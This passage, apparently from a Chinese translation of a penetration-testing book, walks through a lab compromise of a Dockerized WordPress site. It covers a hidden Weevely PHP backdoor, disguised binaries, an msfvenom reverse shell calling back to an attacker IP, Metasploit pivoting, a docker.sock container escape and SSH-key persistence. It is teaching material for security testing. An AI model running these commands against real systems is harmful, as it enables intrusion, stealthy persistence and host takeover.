为了保持趣味性,我们将选择后门路径,再次利用 Weevely,因为它提供了一种安全且难以检测的 shell。我们将执行weevely generate命令,并检查新创建的shell.php文件内容,如下所示:
**root@kali:~# weevely generate Dock3r%Knock3r ~/tools/shell.php**
**Generated backdoor with password 'Dock3r%Knock3r' in '/root/tools/shell.php' of 1466 byte size.**
**root@kali:~# cat /root/tools/shell.php**
**<?php**
**$D=str_replace('Gx','','creGxatGxGxe_fGxGxunctGxion');**
**[...]**
**$V=$D('',$J);$V();**
**?>**
对于这个场景,我们不会将 PHP shell 上传到磁盘并直接访问。相反,我们将修改一个现有文件,并将内容注入其中。我们有多个选择,但我们将选择自带的 Hello Dolly 插件,WordPress 自带此插件。WordPress 管理面板提供了插件 > 编辑器功能,允许修改插件的 PHP 代码。攻击者特别喜欢具备此功能的应用,因为它大大简化了操作。
我们的目标是来自 Hello Dolly 插件的hello.php文件。其大部分内容将被生成的weevely shell.php文件所替换,如下图所示:

图 13.7:替换 hello.php 文件的内容
注意
记住我们的 ROE。如果你修改应用程序文件,请格外小心,避免导致生产环境中长时间的宕机。始终备份,并在参与结束后尽快恢复更改,或者对应用程序的合法用户造成明显影响时恢复更改。
可能最好保持文件头部不变,以防任何管理员浏览插件时看到它。我们也可以保持文件的大部分内容不变,只要它不产生任何不必要的错误消息。PHP 警告和解析错误会干扰 Weevely,导致后门无法工作。我们已看到 wpscan 结果表明该应用程序没有屏蔽错误消息。为了保持隐蔽性,我们必须记住这一点。
在前面的代码块中,我们已经使用 ?> 关闭了 <?php 标签,然后再粘贴 Weevely shell 的内容。一旦文件成功更新,Weevely shell 可以通过 URL http://vulndocker.internal:8000/wp-content/plugins/hello.php 访问:
**root@kali:~/tools# weevely http://vulndocker.internal:8000/wp-content/plugins/hello.php Dock3r%Knock3r**
**[+] weevely 3.2.0**
**[+] Target: www-data@8f4bca8ef241:/var/www/html/wp-content/plugins**
**[+] Session:/root/.weevely/sessions/vulndocker.internal/hello_0.session**
**[+] Shell: System shell**
**[+] Browse the filesystem or execute commands starts the**
**[+] connection to the target. Type :help for more information.**
**weevely> uname -a**
**Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP x86_64 GNU/Linux**
**www-data@8f4bca8ef241:/var/www/html/wp-content/plugins $**
既然我们已获得应用服务器的 shell 访问权限,我们可以通过检查 /proc/1/cgroup 文件来确认这是否确实是一个容器:
**weevely> cat /proc/1/cgroup**
**11:name=systemd:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**10:hugetlb:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**9:perf_event:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**8:blkio:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**7:freezer:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**6:devices:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**5:memory:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**4:cpuacct:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**3:cpu:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
**2:cpuset:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669**
作为确认应用程序是否运行在容器中的另一种方法,我们可以查看进程列表。在典型的 Linux 环境中,进程 ID (PID) 1 属于 init、systemd 或类似的守护进程。由于容器是最小化的环境,列出的第一个进程是负责提供应用程序访问的守护进程。在 Web 应用程序中,apache2、httpd、nginx 或 nodejs 二进制文件通常被分配为 PID 1:
**weevely> ps 1**
**PID TTY STAT TIME COMMAND**
**1 ? Ss 0:01 apache2 -DFOREGROUND**
态势感知
既然我们已获得 Docker 容器的 shell 访问权限,我们应该四处看看,看看还能找到什么。如前所述,Docker 容器并非虚拟机。它们仅包含应用程序运行所需的必要二进制文件。
由于我们可以通过 shell 访问容器,因此我们受到容器所提供环境的限制。例如,如果应用程序不依赖于ifconfig,那么它很可能没有与容器一起打包,因此现在我们无法使用它。
我们可以通过调用以下命令确认我们的环境有所限制:
**weevely> ifconfig**
**sh: 1: ifconfig: not found**
**weevely> wget**
**sh: 1: wget: not found**
**weevely> nmap**
**sh: 1: nmap: not found**
然而,我们确实可以使用 curl,它可以替代 wget:
**weevely> curl**
**curl: try 'curl --help' or 'curl --manual' for more information**
在最坏的情况下,我们也可以通过 Weevely 的 :file_upload 命令上传二进制文件。
要在容器及其网络中移动,我们确实需要访问一些二进制文件,如nmap和ncat,幸运的是,这些文件可以在一个 neatly organized 的 GitHub 仓库中找到。用户 andrew-d 维护了 static-binaries 仓库:

图 13.8:我们特别关注 binaries/linux/x86_64 文件夹
由于容器中没有 nmap 可执行文件,我们可以通过 curl 下载它,并使用 chmod 使其可执行。我们将使用 /tmp/sess_[random] 作为文件名模板,尝试将其伪装成虚假的会话文件,以防有管理员查看系统临时文件夹:
**weevely > curl https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/nmap -o /tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu**
**% Total % Received % Xferd Average Speed Time Time Time Current**
**Dload Upload Total Spent Left Speed**
**100 5805k 100 5805k 0 0 669k 0 0:00:08 0:00:08 --:--:-- 1465k**
**weevely > chmod +x /tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu**
**weevely >**
我们还可以通过 Weevely 的 :file_upload 命令将 ifconfig 从攻击者机器上传到容器中,因为容器中也没有这个二进制文件。我们有一个本地副本的 ifconfig,它可以正常工作,我们将它上传到目标系统的 /tmp 文件夹下,使用一个虚假的文件名:
**weevely > :file_upload /sbin/ifconfig /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j**
和 nmap 一样,我们需要使用 chmod 和 +x 参数使文件具有可执行权限:
**weevely > chmod +x /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j**
现在我们有了一些工具,我们可以通过运行最近上传的 ifconfig 命令来确定我们的方向:
**weevely > /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j**
**eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500**
**inet 172.18.0.4**
**netmask 255.255.0.0 broadcast 0.0.0.0**
**ether 02:42:ac:12:00:04 txqueuelen 0 (Ethernet)**
**RX packets 413726 bytes 90828932 (86.6 MiB)**
**RX errors 0 dropped 0 overruns 0 frame 0**
**TX packets 342415 bytes 54527687 (52.0 MiB)**
**TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0**
**[...]**
记住,Docker 容器使用的是自己的内部网络,与主机的网络是分开的。除非另有指定,默认情况下,托管在其他容器中的邻近应用将加入同一网络。在这种情况下,172.18.0.0/16 网络可以通过 eth0 接口访问。这可能为我们提供访问其他应用程序的路径,而这些应用程序可能在我们参与的范围之内。
现在我们已经知道要查看什么内容,可以调用 nmap 可执行文件(/tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu)对容器网络进行快速服务扫描:
**weevely > /tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu -p1- 172.18.0.0/24**
**[...]**
**Nmap scan report for 172.18.0.1**
**Host is up (0.00079s latency).**
**Not shown: 65534 closed ports**
**PORT STATE SERVICE**
**22/tcp open ssh**
**8000/tcp open unknown**
**Nmap scan report for content_ssh_1.content_default (172.18.0.2)**
**Host is up (0.00056s latency).**
**Not shown: 65534 closed ports**
**PORT STATE SERVICE**
**22/tcp open ssh**
**8022/tcp open unknown**
**Nmap scan report for content_db_1.content_default (172.18.0.3)**
**Host is up (0.00038s latency).**
**Not shown: 65535 closed ports**
**PORT STATE SERVICE**
**3306/tcp open mysql**
**Nmap scan report for 8f4bca8ef241 (172.18.0.4)**
**Host is up (0.000090s latency).**
**Not shown: 65535 closed ports**
**PORT STATE SERVICE**
**80/tcp open http**
**Nmap done: 256 IP addresses (4 hosts up) scanned in 8.97 seconds**
172.18.0.1 IP 看起来是 Docker 主机,并且 SSH 服务已被保护。位于 172.18.0.3 的 MySQL 服务也很有趣,但可能不容易被利用。它很可能是 WordPress 应用程序使用的数据库。
我们可以返回去抓取 wp-config.php 中的凭证并尝试导出数据,但仅凭 SQL 访问可能限制了我们在系统上能做的操作。如果我们的目标是突破容器并获得对主机的访问权限,我们可能需要尝试不同的攻击路径。在测试结束前保存这些凭证也无妨。我们可能需要暴力破解另一组凭证,密码重用是常见的现象。
content_ssh_1 容器也很引人注目,但在做其他事情之前,让我们将 Weevely shell 升级为更强大的 Meterpreter 会话。Meterpreter 还模仿了许多可能不存在的 Linux 二进制文件的功能,使我们的工作变得更容易。Meterpreter 更像是一种恶意软件,允许我们轻松地在 Docker 主机及其容器之间进行转移。
Pivoting(转移攻击)是一种通过已经被攻陷的主机隧道化流量,以到达其他无法直接访问的目标的技术。由于我们已经攻破了托管博客平台的容器,我们可以将其作为转移点,攻击其他相邻的容器,甚至是主机本身。
在攻击者机器的 Linux 终端中,我们可以使用 MSFvenom 生成一个简单的反向有效负载,它将通过端口 443 连接回我们的攻击机 192.168.1.193。MSFvenom 是 Metasploit 提供的一个应用程序,用于使用任何可用的有效负载生成便携式恶意软件。通常,在使用 Metasploit 模块成功利用系统后,第一阶段会在目标系统上执行。由于我们没有使用 Metasploit 来获得初始 shell 访问,并且希望生成一个 Meterpreter 会话,我们可以生成一个独立的 Meterpreter 反向 TCP 有效负载以便手动执行。
msfvenom 命令允许我们指定所需的有效负载(-p),在本例中为 linux/x64/meterpreter/reverse_tcp;攻击者机器的 IP 地址 192.168.1.193;恶意软件将连接回我们的端口 443;以及保存结果可执行文件的格式(-f)。在本例中,我们将使用 ELF 二进制格式:
**root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=**
**192.168.1.193 LPORT=443 -f elf > /root/tools/nix64_rev443**
**No platform was selected, choosing Msf::Module::Platform::Linux from the payload**
**No Arch selected, selecting Arch: x64 from the payload**
**No encoder or badchars specified, outputting raw payload**
**Payload size: 96 bytes**
**Final size of elf file: 216 bytes**
该恶意软件将是一个 64 位 Linux Meterpreter reverse_tcp 有效负载,它将连接回我们的外部 IP。如果 Docker 主机位于一个较为严格的防火墙后,使用端口 443 会增加成功的可能性。
在执行新生成的独立 malware /root/tools/nix64_rev443 之前,我们必须在 Metasploit 中设置一个处理程序来处理来自被攻陷主机的传入连接。
在 Metasploit 控制台中,我们需要加载 exploit/multi/handler 模块,并使用与 msfvenom 中相同的值进行配置:
**msf > use exploit/multi/handler**
我们必须将 PAYLOAD 变量设置为与我们的恶意软件匹配的值:
**msf exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp**
**PAYLOAD => linux/x64/meterpreter/reverse_tcp**
LHOST 和 LPORT 也应该与恶意软件的配置一致,以确保它在正确的 IP 地址和端口上监听:
**msf exploit(handler) > set LHOST 192.168.1.193**
**LHOST => 192.168.1.193**
**msf exploit(handler) > set LPORT 443**
**LPORT => 443**
最后,我们可以 run 处理模块,启动监听器并等待传入的 Meterpreter 会话:
**msf exploit(handler) > run**
**[*] Started reverse TCP handler on 192.168.1.193:443**
**[*] Starting the payload handler...**
完成上述步骤后,我们可以将反向 shell nix64_rev443 上传并执行到容器中。我们也可以使用 Weevely 来帮助我们完成此操作:
在 Weevely 控制台中,我们可以再次使用 :file_upload 命令:
**weevely > :file_upload /root/tools/nix64_rev443 /tmp/update.lst**
**True**
将恶意软件安全地放入目标的临时文件夹后,我们需要使用 chmod 将其设置为可执行文件,最后直接运行它:
**weevely > chmod +x /tmp/update.lst**
**weevely > /tmp/update.lst**
Metasploit 处理程序模块应已生成一个新的 Meterpreter 会话。我们可以通过执行 sysinfo 命令来确认反向 Meterpreter shell 是否正常工作:
**[*] Sending stage (2854264 bytes) to 192.168.1.230**
**[*] Meterpreter session 1 opened (192.168.1.193:443 -> 192.168.1.230:43558)**
**meterpreter > sysinfo**
**Computer : 172.18.0.4**
**OS : Debian 8.9 (Linux 3.13.0-128-generic)**
**Architecture : x64**
**Meterpreter : x64/linux**
**meterpreter >**
如前所述,pivoting(跳板攻击)是一种技术,它允许我们通过被攻陷主机代理流量,并攻击内部网络及更远的地方。Metasploit 提供了路由功能,我们可以使用它将 TCP 流量通过 Meterpreter 会话从我们的攻击机进行隧道传输。
为了实现这一点,我们必须将 Meterpreter 会话发送到后台。这样不会中断连接,并且我们将能够配置 Metasploit 以便通过被攻陷的系统正确地路由流量:
**meterpreter > background**
**[*] Backgrounding session 1...**
在 Meterpreter 会话耐心等待的后台,我们可以使用熟悉的 route add 命令添加一个新的 Metasploit 路由:
**msf exploit(handler) > route add 172.18.0.0 255.255.0.0 1**
**[*] Route added**
**msf exploit(handler) > route**
**IPv4 Active Routing Table**
**=========================**
**Subnet Netmask Gateway**
**------ ------- -------**
**172.18.0.0 255.255.0.0 Session 1**
**[*] There are currently no IPv6 routes defined.**
**msf exploit(handler) >**
虽然这个命令看起来与我们在 Linux 提示符中输入的命令相似,但这并不是一个典型的网络路由。它仅存在于 Metasploit 本身。如果我们从 msfconsole 内部启动一个漏洞利用并将其指向 172.18.0.1,流量将通过 Meterpreter 会话路由,漏洞利用将成功。然而,在 Metasploit 外部,像 wpscan 这样的工具将无法找到目标。
为了绕过这个限制,我们可以使用 auxiliary/server/socks4a 模块设置一个 SOCKS4 代理服务器。SOCKS 是一种协议,定义了通过代理服务器路由网络流量的标准方式。Metasploit 支持运行 SOCKS(版本 4)服务器,并将像任何代理服务器一样处理传入的流量,但有一个非常重要的区别。由于 Metasploit 代理驻留在 MSF 环境中,它将遵循我们最近修改的 MSF 路由表。我们发送到它的任何流量都将根据其中定义的路由进行处理。这意味着我们可以要求代理将流量转发到 172.168.0.0/16,而 Metasploit 会足够聪明,将该流量通过 Meterpreter 会话在后台发送。
让我们首先在 Metasploit 控制台中使用熟悉的 use 命令加载 auxiliary/server/socks4a 模块:
**msf exploit(handler) > use auxiliary/server/socks4a**
**msf auxiliary(socks4a) > show options**
**Module options (auxiliary/server/socks4a):**
**Name Current Setting Required Description**
**---- --------------- -------- -----------**
**SRVHOST 127.0.0.1 yes The address to listen on**
**SRVPORT 1080 yes The port to listen on.**
**Auxiliary action:**
**Name Description**
**---- -----------**
**Proxy**
该模块默认在端口 1080 上创建一个 SOCKS4 服务器。我们实际上只需要监听本地主机 IP 地址 127.0.0.1,因为我们是唯一使用这个代理服务器的人。运行辅助模块会将代理服务器送入后台,准备接受传入的命令:
**msf auxiliary(socks4a) > run**
**[*] Auxiliary module execution completed**
**[*] Starting the socks4a proxy server**
**msf auxiliary(socks4a) >**
Kali Linux 附带一个名为 ProxyChains 的工具,我们可以用它强制任何应用程序通过特定的代理发送流量。在我们的案例中,这就是我们刚刚用 Metasploit 创建的代理。这意味着,由攻击机上运行的应用程序生成的 TCP 网络流量,将有效地转发到 Docker 网络,允许我们运行本地攻击工具并直接进入被攻陷的网络。
注意
ProxyChains 可以在所有渗透测试发行版中使用:proxychains.sourceforge.net/。
ProxyChains 的默认代理列表可以通过 /etc/proxychains.conf 文件进行调整,以匹配 Metasploit socks4a 模块的配置。
在添加了 Metasploit 路由并且 socks4a 服务器正在运行的情况下,我们可以通过 Meterpreter 会话将任何连接转发到我们的 Kali 机器,并进入容器网络。
容器突破
我们通过 Meterpreter 会话访问了容器的 shell,并通过这个会话,我们可以与同一台机器上托管的其他应用容器进行交互。在之前的 Docker 网络 Nmap 扫描中,8022 服务也从其他服务中脱颖而出。作为攻击者,8000 范围内的端口总是值得关注,因为在这些端口上通常可以找到保护不足的开发 Web 服务器。这个特定的端口可能是一个可以利用的 Web 应用程序,可能会给我们比目前更多的访问权限。
对 content_ssh_1 容器的 Nmap 扫描报告显示该容器的 SSH 端口是开放的,但这个服务通常较难利用,除非通过暴力破解获取弱密码:
**Nmap scan report for content_ssh_1.content_default (172.18.0.2)**
**Host is up (0.00056s latency).**
**Not shown: 65534 closed ports**
**PORT STATE SERVICE**
**22/tcp open ssh**
**8022/tcp open unknown**
如果我们回去并进入已攻陷容器的 shell,我们可以执行一个简单的 curl 命令来查看这个 Web 应用程序的内容。在 Metasploit 控制台中,我们可以使用 sessions 命令与 Meterpreter 会话进行交互,并传递数字 1 给 -i(交互)选项:
**msf auxiliary(socks4a) > sessions -i 1**
**[*] Starting interaction with 1...**
**meterpreter >**
一旦回到 Meterpreter 会话内,我们可以使用 shell Meterpreter 命令进一步进入目标容器的终端:
**meterpreter > shell**
**Process 230 created.**
**Channel 16 created.**
我们可能看不到典型的 Linux 提示符,但我们可以执行简单的 Linux 终端命令,例如 curl,以检查 172.18.0.2 容器上的 8022 服务:
**curl -s 172.18.0.2:8022**
**<!DOCTYPE html>**
**<html style="height:100%; !important;">**
**<head>**
**<title>Docker-SSH</title>**
**<script src="/js/jquery-1.11.3.min.js"></script>**
**<script src="/js/term.js"></script>**
**<link rel="stylesheet" href="/css/term.css" type="text/css" />**
**</head>**
**<body>**
很有意思!看起来这个特定的容器是一个 Docker-SSH 应用程序,顾名思义,它提供了对容器的 SSH 访问。
注意
Docker-SSH 可在 Docker Hub 上找到,也可以在 github.com/jeroenpeeters/docker-ssh 上获取。
我们确实经过了一些步骤来使得在目标容器上执行 curl 命令成为可能,但我们也可以使用 ProxyChains 来做同样的事情,只不过是从我们的攻击者机器上执行。curl 请求将通过我们之前设置的 Metasploit SOCKS4 服务器进行代理,流量将通过 Meterpreter 会话传输,从而让我们访问目标机器的一跳:
**root@kali:~# proxychains**
**curl -s 172.18.0.2:8022**
**ProxyChains-3.1 (http://proxychains.sf.net)**
**|S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:8022-<><>-OK**
**<!DOCTYPE html>**
**<html style="height:100%; !important;">**
**<head>**
**<title>Docker-SSH</title>**
**<script src="/js/jquery-1.11.3.min.js"></script>**
**<script src="/js/term.js"></script>**
**<link rel="stylesheet" href="/css/term.css" type="text/css" />**
**</head>**
**<body>**
在我们的攻击机器上,我们可以通过代理将 SSH 连接直接传递到此容器,并查看我们所面临的情况:
**root@kali:~# proxychains ssh root@172.18.0.2**
**ProxyChains-3.1 (http://proxychains.sf.net)**
**|S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:22-<><>-OK**
**The authenticity of host '172.18.0.2 (172.18.0.2)' can't be established.**
**RSA key fingerprint is SHA256:ZDiL5/w1PFnaWvEKWM6N7Jzsz/FqPMM1SpLbbDUUtSQ.**
**Are you sure you want to continue connecting (yes/no)? yes**
**Warning: Permanently added '172.18.0.2' (RSA) to the list of known hosts.**
**###############################################################**
**## Docker SSH ~ Because every container should be accessible ##**
**###############################################################**
**## container | content_db_1 ##**
**###############################################################**
**/ $**
看起来我们在没有提示输入密码的情况下自动连接了。也似乎我们在这个特定的容器中是以 root 身份运行的:
**/ $ id**
**uid=0(root) gid=0(root) groups=0(root)**
**/ $**
很不错。Docker-SSH 有一些身份验证配置选项,而这个 Docker-SSH 实例似乎已配置为 noAuth 参数,允许匿名连接。
你可能会认为,任何组织在其生产环境中部署这种类型的容器的可能性非常小。实际上,开发人员在调试问题时,常常会不安全地配置容器,比如 Docker-SSH。根据问题的影响,事件响应人员的首要任务是恢复服务。正常的变更管理流程被绕过,Docker-SSH 部署获得批准。问题解决后,混乱也随之平息,但工程师连续工作了大约 40 小时后,难免会犯错误。不安全的容器、工具和备份被留在线上,随时可能被攻击者滥用。
如果我们浏览 Docker-SSH 容器的文件系统,我们会在 /var/run 目录下发现一个有趣的文件:
**/ $ /bin/bash**
**root@13f0a3bb2706:/# ls -lah /var/run/docker.sock**
**srw-rw---- 1 root mysql 0 Aug 20 14:08 /var/run/docker.sock**
暴露的 docker.sock 文件为容器提供了一种向主机上运行的 Docker 守护进程发送命令的方式。拥有容器的 root 权限后,我们可以做各种有趣的事情。特别是,我们可以与主机进行通信,并礼貌地请求它允许我们访问根文件系统。这个功能在现实世界中确实有用。某些应用容器负责管理同一台机器上的其他容器。在这种部署中,主机上运行的 Docker 守护进程必须暴露 docker.sock,以便该容器能够完成其工作。
记住,容器通常是极简的,常见的 Unix 工具可能不可用。我们需要在容器内安装 Docker 客户端,以便轻松向 Docker 主机发送命令。为了快速安装 Docker 客户端,我们可以使用 get.docker.com 提供的 bash 脚本。这是 Docker 官方的 shell 脚本,用于设置环境、解决依赖问题,并确保成功安装 Docker 客户端。
我们可以使用 proxychains 和 scp 轻松地从 get.docker.com 上传 Docker 安装脚本。在攻击者机器的另一个终端中,我们使用 wget 下载脚本并将其保存在本地。然后,我们使用 proxychains 封装 scp(安全复制)命令,将脚本上传到目标容器:
**root@kali:~# wget https://get.docker.com -O /root/tools/docker-install.sh**
**root@kali:~# proxychains scp**
**/root/tools/docker-install.sh root@172.18.0.2:/tmp/update.sh**
**ProxyChains-3.1 (http://proxychains.sf.net)**
**|S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:22-<><>-OK**
**update.sh 100% 14K 00:00**
**root@kali:~#**
回到 Docker-SSH 容器终端,我们可以使用 bash 执行 Docker 安装脚本:
**root@13f0a3bb2706:/# bash /tmp/update.sh**
**# Executing docker install script, commit: 49ee7c1**
**[...]**
一旦我们拥有 Docker 客户端二进制文件,就可以与我们友好的主机进行通信,并请求它创建另一个挂载了主机文件系统的容器,使用以下 docker run 命令:
**root@13f0a3bb2706:/# docker run -iv /:/host ubuntu:latest /bin/bash**
**Unable to find image 'ubuntu:latest' locally**
**latest: Pulling from library/ubuntu**
**[...]**
**Status: Downloaded newer image for ubuntu:latest**
**root@a39621d553e4:/#**
我们在这里所做的是从 Docker-SSH 容器内部创建一个新的 Ubuntu 容器实例。-v 选项会将主机的根文件系统挂载到新容器的 /host 文件夹,并授予读写权限。当这个新容器启动并运行时,Docker 客户端还会生成一个 /bin/bash shell,-i 开关确保 Docker 不会将容器转入后台(守护进程模式),而是保持交互式会话。换句话说,我们在一个新的 Ubuntu 容器上获得了根 shell。
这一切都是因为在/var/run/docker.sock中发现的暴露的 Docker 套接字。Docker 客户端使用这个特殊文件与 Docker 主机 API 通信并发出任意命令。
在这个新生成的 Ubuntu 容器内部,我们可以观察到挂载的主机文件系统:
**root@a39621d553e4:/# ls -lah /**
**total 76K**
**drwxr-xr-x 35 root root 4.0K Oct 7 01:38 .**
**drwxr-xr-x 35 root root 4.0K Oct 7 01:38 ..**
**-rwxr-xr-x 1 root root 0 Oct 7 01:38 .dockerenv**
**[...]**
**drwxr-xr-x 2 root root 4.0K Oct 7 01:38 home**
**drwxr-xr-x 22 root root 4.0K Aug 20 14:11 host**
**[...]**
**drwx------ 2 root root 4.0K Oct 7 01:38 root**
**[...]**
**root@a39621d553e4:/#**
有了对这个目录的读写权限,我们可以借助chroot快速妥协主机本身:
**root@33f559573304:/# chroot /host**
**# /bin/bash**
**root@33f559573304:/#**
如果你记得,chroot功能将有效文件系统根重置为任意目录。在这种情况下,任意目录恰好是主机的根文件系统。如果我们在chroot /host目录中再次发出ps命令,输出与之前略有不同:
**root@33f559573304:/# ps x**
**PID TTY STAT TIME COMMAND**
**1 ? Ss 0:04 /sbin/init**
**[...]**
**751 ? Ssl 1:03 /usr/bin/dockerd --raw-logs**
**[...]**
**14966 ? R+ 0:00 ps x**
看起来我们不在堪萨斯了!你会注意到进程列表显示dockerd正在运行,以及具有PID 1的init。这是 Docker 主机的进程列表。
如果我们失去与 Docker 容器的连接,我们需要持久化我们的访问权限。最简单的方法是生成一个新的 SSH 认证密钥对,并将公钥添加到authorized_keys文件中。
攻击者的机器ssh-keygen可以用来生成一个新的 RSA 密钥对:
**root@kali:~# ssh-keygen -t rsa -b 4096 -C "sensible@ansible"**
**Generating public/private rsa key pair.**
**[...]**
**SHA256:mh9JYngbgkVsCy35fNeAO0z0kUcjMaJ8wvpJYiONp3M sensible@ansible**
**[...]**
**root@kali:~#**
注意
记住 ROE 并清除任何遗留物,例如授权的 SSH 密钥,在任务完成后。
回到容器内部,我们可以将我们的密钥追加到 Docker 主机的authorized_keys文件中,通过 SSH 公钥认证为我们授予 root 访问权限:
**root@33f559573304:/# echo "ssh-rsa VGhlcmUgYXJlIHRoZXNlIHR3byB5b3VuZyBmaXNoIHN3aW1taW5nIGFsb25nLCBhbmQgdGhleSBoYXBwZW4gdG8gbWVldCBhbiBvbGRlciBmaXNoIHN3aW1taW5nIHRoZSBvdGhlciB3YXksIHdobyBub2RzIGF0IHRoZW0gYW5kIHNheXMsICJNb3JuaW5nLCBib3lzLCBob3cncyB0aGUgd2F0ZXI/IiBBbmQgdGhlIHR3byB5b3VuZyBmaXNoIHN3aW0gb24gZm9yIGEgYml0LCBhbmQgdGhlbiBldmVudHVhbGx5IG9uZSBvZiB0aGVtIGxvb2tzIG92ZXIgYXQgdGhlIG90aGVyIGFuZCBnb2VzLCAiV2hhdCB0aGUgaGVsbCBpcyB3YXRlcj8gIg==sensible@ansible" >> /host/root/.ssh/authorized_keys**
从我们的攻击盒中,我们可以通过 Meterpreter 会话进行旋转,进入容器网络,并验证到之前怀疑的172.18.0.1的 SSH 服务,这是根据nmap结果,属于主机:
**root@kali:~# proxychains ssh root@172.18.0.1 -i ~/.ssh/id_rsa**
**ProxyChains-3.1 (http://proxychains.sf.net)**
**|S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.1:22-<><>-OK**
**Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-128-generic x86_64)**
**root@vulndocker**
**:~# id**
**u**
**id=0(root) gid=0(root) groups=0(root)**
摘要
容器技术具有许多优点,这使其成为一个重要的话题。Docker 在处理容器镜像和部署方式上具有革命性。作为攻击者,我们必须用骇客思维看待所有新技术。我们如何破解它,如何利用它获取以前无法获取的访问权限?
如果一个企业从虚拟机切换到容器,希望降低成本,同时假设它们提供了相同的保护,那么公司就会使自己暴露于以前难以实现的跨应用程序攻击之中。
在本章中,我们看到如何妥协一个简单的容器化 CMS 导致访问到另一个容器,最终导致对主机的完全妥协。这并不意味着应该避免使用 Docker 和容器技术,但就像任何其他软件一样,在部署前必须安全配置 Docker。一个易受攻击或配置不当的容器可能会允许攻击者旋转到其他更敏感的应用程序,甚至是主机。
我们还研究了使用不安全的容器网络部署应用程序的危险。我们成功地妥协了一个应用程序,一旦进入后,成功地在 Docker 网络中进行了旋转,获取了对其他容器的访问权限,并最终妥协了主机本身。
第十四章:你可能喜欢的其他书籍
如果你喜欢这本书,你可能对 Packt 出版社的其他书籍感兴趣:

网络安全 - 攻击与防御策略
Yuri Diogenes, Erdal Ozkaya
ISBN: 978-1-78847-529-7
-
学习建立坚实安全基础的重要性
-
了解使用网络安全“杀链”策略的攻击方法
-
学习如何通过改善安全策略、加固网络、实施主动传感器以及利用威胁情报来增强防御策略
-
学习如何进行事件调查
-
深入了解恢复过程
-
了解持续的安全监控以及如何实施漏洞管理策略
-
学习如何进行日志分析以识别可疑活动

学习恶意软件分析
Monnappa K A
ISBN: 978-1-78839-250-1
-
创建一个安全且隔离的实验室环境用于恶意软件分析
-
提取与恶意软件相关的元数据
-
确定恶意软件与系统的交互
-
使用 IDA Pro 和 x64dbg 进行代码分析
-
逆向工程各种恶意软件功能
-
逆向工程并解码常见的编码/加密算法
-
执行不同的代码注入和钩子技术
-
使用内存取证调查和追踪恶意软件

使用 Kali Linux 进行网页渗透测试
Gilberto Najera-Gutierrez, Juned Ahmed Ansari
ISBN: 978-1-78862-337-7
-
学习如何用 Kali Linux 设置实验室
-
了解网页渗透测试的核心概念
-
了解在 Kali Linux 上需要使用的工具和技术
-
识别黑客攻击网页应用与网络黑客攻击的区别
-
使用服务器端攻击暴露网页服务器及其应用中的漏洞
-
了解用于识别网页应用类型的不同技术
-
查看标准攻击,如利用跨站请求伪造和跨站脚本漏洞
-
概览客户端攻击的艺术
-
探索自动化攻击,如模糊测试网页应用

从零开始学习道德黑客
Zaid Sabih
ISBN: 978-1-78862-205-9
-
了解道德黑客及不同领域和类型的黑客
-
设置渗透测试实验室,练习安全合法的黑客技能
-
探索 Linux 基础、命令以及如何与终端交互
-
访问受密码保护的网络并监视已连接的客户端
-
使用服务器端和客户端攻击黑客攻击并控制远程计算机
-
远程控制被黑系统,并利用该系统攻击其他系统
-
发现、利用并防止多种网页应用漏洞,如 XSS 和 SQL 注入
第十五章:留下评论 - 让其他读者知道您的想法
请通过在您购买该书的网站上留下评论,与其他人分享您对这本书的想法。如果您是从亚马逊购买的这本书,请在该书的亚马逊页面上留下您诚实的评价。这对于其他潜在读者来说至关重要,他们可以通过您的公正意见来做出购买决策,我们也能了解客户对我们产品的看法,作者可以看到您对他们与 Packt 合作创作的作品的反馈。这只需要您花费几分钟时间,但对于其他潜在客户、我们的作者以及 Packt 来说都非常宝贵。谢谢!


浙公网安备 33010602011771号